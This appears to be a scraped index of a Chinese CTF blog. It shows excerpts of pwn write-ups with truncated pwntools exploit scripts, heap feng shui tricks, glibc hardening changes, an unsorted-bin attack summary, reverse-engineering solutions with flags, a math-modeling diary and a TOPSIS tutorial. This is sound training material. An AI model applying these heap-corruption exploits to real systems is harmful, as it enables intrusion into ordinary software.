堆风水以及一些tricks
没有show函数,又限制malloc堆的大小怎么办?先free两个fast
bin的chunk,然后修改其fd使其指向其中一个chunk的data段,然后在data段伪造一个chunk,再malloc两次即可修改size为unsorted_bin范围内即可。
12345678910111213add(0x28,0,b'aaaa') #0add(0x28,1,b'aaaa') #1add(0x50,2,b'aaaa') #2add(0x60,3,b'aaaa') #3add(0x60,4,b'aaaa') #4delete(0)delete(1)edit(1,b'\x20')edit(0,p64(0)*3+p64(0x31))add(0x28,0,b'aaaa') #0add(0x28,1,b'aaaa') #1edit(1,p64(0) + p64(0x91))delete(0)
hook利用偏移伪造size
realloc_ ...
2022柏璐杯PWN复现
简单的溢出修改name后,size字段并未更新,可以泄露PIE,和堆溢出
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384from pwn import *r = process('./note1')e = ELF('./note1')libc = e.libccontext.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug'se = lambda data :r.send(data) sa = lambda delim,data :r.sendafter(delim ...
2022中国工业互联网安全大赛
究极输出bss段格式化字符串漏洞,emm感觉有一点点小坑,但不算难。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051from pwn import *# r = process('./pwn1')r = remote("39.105.99.40",16018)e = ELF('./pwn1')libc = e.libccontext.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug'se = lambda data :r.send(data) sa = lambda delim,data :r.sendafter(delim, data)sl = lambda da ...
DASCTF九月月赛PWN复现
前言比赛期间忙于建模,赛后复现一下
cyberprinter一个格式化字符串漏洞,打libc的got表即可。
puts函数内部会调用libc中的strlen函数
123456789101112131415161718192021222324252627282930313233343536373839from pwn import *from LibcSearcher import *r = process("./cyberprinter")e = ELF("./cyberprinter")libc = e.libccontext.arch = 'amd64'context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']r.timeout = 0.5se = lambda data :r.send(data) sa = lam ...
Newstar-CTF 逆向入门
week1Hello_Reverse明文存储:
1flag{h3llo_r3vers1ng_w0rld}
Baby_Re简单异或,有一点小坑,在libc_csu_init的时候调用了Function_name函数
exp
12345678str = [0x66, 0x6D, 0x63, 0x64, 0x7F, 0x56, 54, 0x6A, 0x6D, 0x7D, 0x62, 58, 0x62, 0x6A, 0x51, 0x7D, 0x65, 0x7F, 0x4D, 0x71, 0x71, 0x73, 38, 0x65, 0x7D, 0x46, 0x77, 0x7A, 0x75, 0x73, 63]n = len(str)for i in range(n): str[i] = str[i] ^ iprint(n)for i in range(n): print(chr(str[i]),end = '')##flag{S0meth1ng_run_bef0re_main!}
Pyre一道py打包成exe的逆向,先利 ...
一次数模国赛的赛后体验
为什么会参加这个比赛呢?或许我自己都不太清楚,总而言之就是迷迷糊糊的,就参赛了。参赛后的感觉来说,就是一个字——累!累到以后都不想再碰这种需要通宵比赛了!
数学建模碰到的第一个问题就是数学建模的那几天?我该住哪?怎么回长清校区……好在数统学院老师人非常好,数统学院老师给我们安排了宾馆,让我们这几天有了住的地方,解决了住的地方,就会~嘿嘿,很舒服!
出发时,看起来一切都很顺利,数模竞赛是下午六点发题,我们上午就早早的出发去长清了,为什么呢?因为彩石这个地方距离长清确实有点远,而济南的交通似乎不是那么便利……,也有一点原因是因为想早点离开彩石这个鸟不拉屎的地方。
Day1:在坐了长达3个小时的K301后,总算到了长清,并没有立刻回学校,毕竟现在封校,进去了就出不来了,先去了长清大学城,简单了吃了点饭,感觉上,emm,虽然大学城比较脏乱(也没有特别不堪,但确实是一给充满回忆的地方,感觉上挺怀念的,也开始感觉到了长清校区的好以及交通的便利是彩石远远比不上的,随后走了走,就回学校了,先去了电气新楼,然后去了311,和学弟们聊会儿天,就收拾收拾准备去数统机房参赛了。
很快,比赛开始了,发了赛题,由 ...
TOPSIS评价模型
评价模型优劣解距算法(TOPSIS)简介:TOPSIS 法是一种常用的 综合评价方法,其能 充分利用原始数据的信息,其结果能精确地反映各评价方案之间的差距。
步骤:
将原始矩阵正向化
将正向化矩阵标准化
计算得分并归一化
方法和原理:原始矩阵正向化:一般来说,常见的指标有四种指标:
指标名称
指标特点
例子
极大型(效益型)指标
越大(多)越好
成绩、GDP增速、企业利润
极小型(成本型)指标
越小(少)越好
费用、坏品率、污染程度
中间型指标
越接近某个值越好
水质量评估时的PH值
区间型指标
落在某个区间最好
体温、水中植物性营养物量
TOPSIS方法要将所有的指标进行正向化处理,即统一转化为极大型指标。
极小型—>极大型:一般转换公式为:max-x,或者1/x公式是不唯一的
中间型—>极大型:
区间型—>极大型:
正向化矩阵标准化:(这个方法是不唯一的,但目的都是为了统一量纲)计算得分并且进行归一化:这里可以参考博客:(30条消息) 清风数学建模学习笔记——TOPSIS法(优劣解距离法)_Xiu Yan的博客-C ...
2022蓝帽杯初赛PWN
escape_shellcode(pie_orw_shellcode)写入heap_mem+170地址后,情况除rip外的所有寄存器,然后执行shellcode。
难点在于没有基地址,无法打印bss段中的flag。
注意的点,堆地址高5位和基地址相同,从基地址开始0x1000地读
write系统调用会返回给rcx寄存器,下一条指令的地址(堆地址),堆地址和bss段前几位一样的,所有可以采用爆破,爆出flag
exp
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253# _*_ coding:utf-8 _*_from pwn import *context.log_level='debug'context(arch='amd64', os='linux')p = process("./escape_shellcode")elf = ELF("./escap ...
GLIBC版本更新的一些变动
glibc2.27(小版本变动没记)
增加了tcache
再malloc_consolidate中
12/*新增:检查从fastbin中取出的chunk的大小是否满足fastbin的索引,house-of-rabbit无法使用 */unsigned int idx = fastbin_index (chunksize (p));
在unlink中
123/*新增:检查其下一个chunk的prev_size是否和size相等,即使用house-of-einherjar时第一个chunk应该被放入到unsortedbin中*/if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) malloc_printerr ("corrupted size vs. prev_size");
在2.27小版本1.4以后增加了key
glibc2.29
tcache_entry结构体中增加了key,防止doublefree
123456typedef struct tcache_ent ...
任意地址写较大数总结
unsorted_bin attack先写一下可以利用的版本吧,也就是GLIBC2.23-GLIBC2.28,我们可以看一下源代码这一段
12345/* remove from unsorted list */if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3");unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);
这个攻击其实是用在摘链的时候,如果我们可以控制 unsorted_bin中的bk指针,我们可以写入任意地址(姑且称为target),当我们malloc掉这个unsorted_chunk时,我们的target+0x10地址出就会被修改为 main_arena+offest的地址,其实也就是libc中的地址。效果就是修改任意地址为一个较大的数。
在GLIBC2.29及以后,int_malloc()函数源码中加入了这段
12 ...